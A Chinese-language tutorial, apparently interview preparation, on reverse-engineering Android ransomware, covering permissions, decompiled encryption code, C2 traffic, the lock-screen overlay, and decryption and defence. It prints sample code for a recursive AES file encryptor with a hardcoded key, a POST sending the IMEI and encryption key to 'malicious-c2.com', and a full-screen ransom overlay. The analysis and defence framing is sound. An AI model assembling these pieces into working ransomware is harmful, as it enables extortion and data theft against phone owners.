一、Android 勒索软件概述
WannaCry 在 PC 端的破坏力令人震惊,Android 平台上同样存在大量仿冒 WannaCry 的勒索软件。它们通常伪装成刷机工具、成人内容播放器或系统优化应用,诱导用户授予大量敏感权限,随后在后台加密用户文件并索要赎金。
Android 勒索软件的两大类型:锁屏型(阻止用户进入桌面)和文件加密型(加密 SD 卡中的文档/图片)。
二、样本静态分析
拿到样本 APK 后,首先进行静态分析:
apktool d ransomware_sample.apk -o sample_unpacked
jadx -d sample_source ransomware_sample.apk
|
权限分析
在 Manifest 中重点关注以下危险权限组合:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
SYSTEM_ALERT_WINDOW 用于显示全屏勒索页面,RECEIVE_BOOT_COMPLETED 确保开机自动启动。
核心类定位
在 JADX 中搜索 Cipher、AES、encrypt、decrypt 等关键词,定位到加密逻辑代码:
public class FileEncryptor { public static void encryptFiles(String path) { File dir = new File(path); File[] files = dir.listFiles(); for (File f : files) { if (f.isDirectory()) { encryptFiles(f.getAbsolutePath()); } else if (isTargetFile(f)) { aesEncrypt(f, "hardcoded_key_123"); f.renameTo(new File(f.getPath() + ".enc")); } } }
private boolean isTargetFile(File f) { String name = f.getName().toLowerCase(); return name.endsWith(".txt") || name.endsWith(".jpg") || name.endsWith(".mp4") || name.endsWith(".pdf") || name.endsWith(".doc") || name.endsWith(".xls"); } }
|
三、加密机制分析
勒索软件的加密流程:
public static void aesEncrypt(File file, String key) { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] fileData = readFileBytes(file); byte[] encrypted = cipher.doFinal(fileData); writeFileBytes(file, encrypted); }
|
关键分析点:
- 密钥来源:若是硬编码字符串 → 直接提取可解密
- 密钥生成算法:若通过 C2 服务器获取 → 需分析网络请求
- 加密模式:CBC 模式需保存 IV 向量
四、C2 通信分析
HttpURLConnection conn = (HttpURLConnection) new URL("http://malicious-c2.com/report").openConnection(); conn.setRequestMethod("POST"); String payload = "imei=" + getIMEI() + "&key=" + Base64.encodeToString(encryptionKey, Base64.DEFAULT) + "&status=encrypted"; conn.getOutputStream().write(payload.getBytes());
|
使用 Wireshark 或 mitmproxy 抓包可捕获 C2 通信,获取加密密钥或解密指令。
五、勒索界面分析
勒索页面通常通过以下方式展示:
WindowManager wm = getSystemService(WindowManager.class); WindowManager.LayoutParams params = new WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_SYSTEM_ERROR, WindowManager.LayoutParams.FLAG_FULLSCREEN, PixelFormat.TRANSLUCENT ); wm.addView(ransomView, params);
|
六、逆向解密与防护
解密路径:
- 提取硬编码密钥 → 编写解密脚本
- 分析密钥生成算法 → 模拟生成解密密钥
- 拦截 C2 通信 → 获取服务器返回的解密 Key
防御策略:
- 定期备份重要文件到云端
- 不安装非官方渠道的 APK
- 为重要文件设置只读权限
- 使用 Android 的 scoped storage 限制应用访问
面试常考问题
Q1:如何判断一个样本是锁屏型还是加密型勒索软件?
A:静态分析:锁屏型样本会大量使用 SYSTEM_ALERT_WINDOW、WindowManager.addView、KeyguardManager 等 API;加密型会使用 Cipher、FileInputStream/FileOutputStream、File.renameTo 等。行为分析:在沙盒中运行,锁屏型会立即弹窗覆盖桌面,加密型会静默遍历文件系统。用 adb shell ls /sdcard/ 检查是否有大量文件扩展名被修改。
Q2:勒索软件的密钥通常存在哪里?如何提取?
A:三种常见位置:(1)硬编码在 Java 代码中 → JADX 搜索 Cipher 交叉引用找到密钥常量;(2)硬编码在 so 文件中 → IDA 搜索 .rodata 段中的字符串;(3)通过 C2 服务器动态下发 → 抓包分析或在加密前 Hook SecretKeySpec 构造方法获取。提取到密钥后,根据逆向出的加密算法(通常 AES-128-CBC)编写 Java/Python 解密脚本。
Q3:如果密钥完全由 C2 下发且使用非对称加密,还有办法解密吗?
A:这种情况下几乎无法解密,因为私钥仅存在于攻击者手中。建议:(1)尝试 Hook Cipher.init() 在加密发生前中断;(2)分析是否存在种族条件(race condition),在加密完成前阻止;(3)检查 C2 通信是否有漏洞可利用(如服务器配置错误);(4)从内存 dump 中恢复原始文件(如果勒索软件未做内存清零)。